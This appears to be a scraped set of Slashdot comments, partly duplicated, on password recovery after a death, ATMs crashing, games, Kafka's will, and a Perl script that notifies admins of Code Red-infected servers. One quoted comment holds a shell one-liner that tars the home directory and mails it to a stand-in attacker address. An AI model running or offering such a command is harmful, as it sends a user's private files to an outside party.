Twice in recent years I've had the unhappy task of attempting to recover password protected personal files created by friends who have died. In each case the files contained financial information that the next of kin needed.
While password security is undoubtedly a good thing, it goes a bit beyond its remit if it locks out the wrong people. In most jobs I've had it has been common practice to keep hardcopies of passwords in sealed and signed envelopes placed in safes. While this is probably overkill for home users it's worth considering doing something like this for your family or friends and letting them know about it. Especially if you're someone I know. I really, really don't want to have to go through this again.
interesting.... well, I hope you realize that you'll probably never know what OS the equipment used on you uses, much the same as you don't notice on bank machines (which hardly ever crash, btw)
True enough, but the one time I did have one crash on me (while I was getting it to do the intensive task of checking the balance in my current account) I was faced with the message "Windows NT is Restarting" and could only watch helplessly through the reboot as it kept hold of my card (and my one source of getting money). I've made it a point ever since to avoid ATMs with pretty displays just in case they're running NT. Green screens just feel safer, somehow.
To be fair, Torment is a pretty linear game. There are a few locations you can visit in any order, a couple you can skip, but on the whole it's very predetermined.
It more than makes up for this, though, by having a genuinely compelling storyline, great characters, imaginative locations and a wonderfully sick sense of humour. This all adds up to make it the best RPG I've played to date.
Sorry, I know I'm not supposed to respond to trolls, but there seem to have been a number of credulous responses to this.
What Microsoft network products are these that configure themselves automagically? A DNS server that needs no configuration? An email server that simply needs to be installed? A dial-up client that never needs to have the username, password or ISP's telephone number set?
While a lot of these things can be done out of the box with Windows it's a bit of a stretch to say it's not done almost automagically.
Nah, they're just trying to be economical with disk space by keeping all those referrer entries out of their web server logs. You'd be surprised how much space that stuff takes up.
Don't most authors include something in their wills about not publishing unfinished materials?
Sometimes, but this isn't necessarily a good thing.
Franz Kafka went one step further and asked his executor of his will to burn all his unpublished work (which is almost everything of his we consider to be a classic today). Luckily the executor didn't go through with this and it was published posthumously. Sometimes authors aren't the best judges of their work.
I think you'll find that The Register is an everyone bashing site. They can be rather cutting and bitchy, but they are also pretty even-handed about it.
Re:An ETHICAL way to Anti-Virus
on
Code Red III
·
· Score: 2
I'd like to automate this process and generate a "form" email, filling in the relevant details, but I'm not sure how to cause a script to be invoked by a change in the Apache log, except to maybe run a 5 minute cron job that grabs all the Code Red attacks and then renames the log file.
I've done something like that already. It actually picks out any entries in the log from the last hour and mails the originators, rather than tailing the log. Help yourself.
They're a bit rough and ready, and will require some customisation and possibly a minor bit of hacking. I've put a few comments in to make that easier, though. Good luck!
Hey, who said my Perl skills were anything other than sub-stellar? That's the nice thing about Perl - you don't have to be any damn good to write useful little bits of code.:)
I'm trying to arrange for space on a relatively./ proof server right now and should be able to post an easily hackable version of the script there soon. I'll post the URL when it's sorted.
Since the start of this week, I've been running a Perl script as an hourly cron job that parses my firewall logs, gets the originating IP addresses of any Code Red scans, does a reverse lookup, attempts to extract a meaningful domain name and then mails a polite notification to postmaster and webmaster at that domain. The notification contains a link to the MS page with the details of the relevant patches.
Since doing so, I've had a number of responses from people thanking me for pointing out the problem and confirming that their server has now been patched. The response rate is only about 1%, largely due to the fact that around 90% of the problem servers are on dial-ups/cable modems/DSL, but it's better than nothing.
I'm not advocating that everybody, or even a large number of people, do this, as the amount of traffic it would generate would only add to the problem, but it seems like a more legal solution than another, white-hatted, worm.
Slashdot Mirror
Give me 16 "Unbreakable Linux" PowerEdges and some damned fat pipes and I can design you a cluster that a nuclear attack probably couldn't take out.
Cool. If you do consultancy then it may be a good time to start marketing your services in the Indian subcontinent.
Twice in recent years I've had the unhappy task of attempting to recover password protected personal files created by friends who have died. In each case the files contained financial information that the next of kin needed.
While password security is undoubtedly a good thing, it goes a bit beyond its remit if it locks out the wrong people. In most jobs I've had it has been common practice to keep hardcopies of passwords in sealed and signed envelopes placed in safes. While this is probably overkill for home users it's worth considering doing something like this for your family or friends and letting them know about it. Especially if you're someone I know. I really, really don't want to have to go through this again.
AbiWord has self-destructive marketing, like a blue ant as a symbol.
Yep! They should definitely go for something more professional looking. That would be much less irritating.
interesting.... well, I hope you realize that you'll probably never know what OS the equipment used on you uses, much the same as you don't notice on bank machines (which hardly ever crash, btw)
True enough, but the one time I did have one crash on me (while I was getting it to do the intensive task of checking the balance in my current account) I was faced with the message "Windows NT is Restarting" and could only watch helplessly through the reboot as it kept hold of my card (and my one source of getting money). I've made it a point ever since to avoid ATMs with pretty displays just in case they're running NT. Green screens just feel safer, somehow.
How sophisticated do you need to be to write "tar cf - ~ | gzip | uuencode - | mail l33t@haxhor.com"?
Much less sophisticated than you'd need to be to find a way of making it execute automatically in a *NIX MUA. :)
To be fair, Torment is a pretty linear game. There are a few locations you can visit in any order, a couple you can skip, but on the whole it's very predetermined.
It more than makes up for this, though, by having a genuinely compelling storyline, great characters, imaginative locations and a wonderfully sick sense of humour. This all adds up to make it the best RPG I've played to date.
Sorry, I know I'm not supposed to respond to trolls, but there seem to have been a number of credulous responses to this.
What Microsoft network products are these that configure themselves automagically? A DNS server that needs no configuration? An email server that simply needs to be installed? A dial-up client that never needs to have the username, password or ISP's telephone number set?
While a lot of these things can be done out of the box with Windows it's a bit of a stretch to say it's not done almost automagically.
Yeah, but it might have been with Steve Ballmer.
Nah, they're just trying to be economical with disk space by keeping all those referrer entries out of their web server logs. You'd be surprised how much space that stuff takes up.
Don't most authors include something in their wills about not publishing unfinished materials?
Sometimes, but this isn't necessarily a good thing.
Franz Kafka went one step further and asked his executor of his will to burn all his unpublished work (which is almost everything of his we consider to be a classic today). Luckily the executor didn't go through with this and it was published posthumously. Sometimes authors aren't the best judges of their work.
Wouldn't that be "crack off your finger"?
I think you'll find that The Register is an everyone bashing site. They can be rather cutting and bitchy, but they are also pretty even-handed about it.
When was the last time you read a comic strip written 50 years ago?
The other day, when I was browsing through a Krazy Kat collection
It took how many years (lack of competition) for Microsoft to ship a decent product?
Twenty-six and counting...BYOB? Bring your own bombs? Biological agents? Briefcase nukes? You'll have to be more specific. :)
Michael Jackson?
Cat Stevens "Peace Train" & "Morning Has Broken". Cat Stevens?!? Since when were his songs inappropriate?
I really hope the decision wasn't inspired by the fact that he converted to Islam.
Makes perfect sense. They're just leaving behind a skeleton staff.
I agree! That's why I'll always prefer the content of whitehouse.com over that of whitehouse.gov
I'd like to automate this process and generate a "form" email, filling in the relevant details, but I'm not sure how to cause a script to be invoked by a change in the Apache log, except to maybe run a 5 minute cron job that grabs all the Code Red attacks and then renames the log file.
I've done something like that already. It actually picks out any entries in the log from the last hour and mails the originators, rather than tailing the log. Help yourself.
Cool! Thanks for the tip! I'll modify the script to send the addresses to them when I get back to work tomorrow.
As promised.
They're a bit rough and ready, and will require some customisation and possibly a minor bit of hacking. I've put a few comments in to make that easier, though. Good luck!
Hey, who said my Perl skills were anything other than sub-stellar? That's the nice thing about Perl - you don't have to be any damn good to write useful little bits of code. :)
I'm trying to arrange for space on a relatively ./ proof server right now and should be able to post an easily hackable version of the script there soon. I'll post the URL when it's sorted.
...though it's not quite as effective.
Since the start of this week, I've been running a Perl script as an hourly cron job that parses my firewall logs, gets the originating IP addresses of any Code Red scans, does a reverse lookup, attempts to extract a meaningful domain name and then mails a polite notification to postmaster and webmaster at that domain. The notification contains a link to the MS page with the details of the relevant patches.
Since doing so, I've had a number of responses from people thanking me for pointing out the problem and confirming that their server has now been patched. The response rate is only about 1%, largely due to the fact that around 90% of the problem servers are on dial-ups/cable modems/DSL, but it's better than nothing.
I'm not advocating that everybody, or even a large number of people, do this, as the amount of traffic it would generate would only add to the problem, but it seems like a more legal solution than another, white-hatted, worm.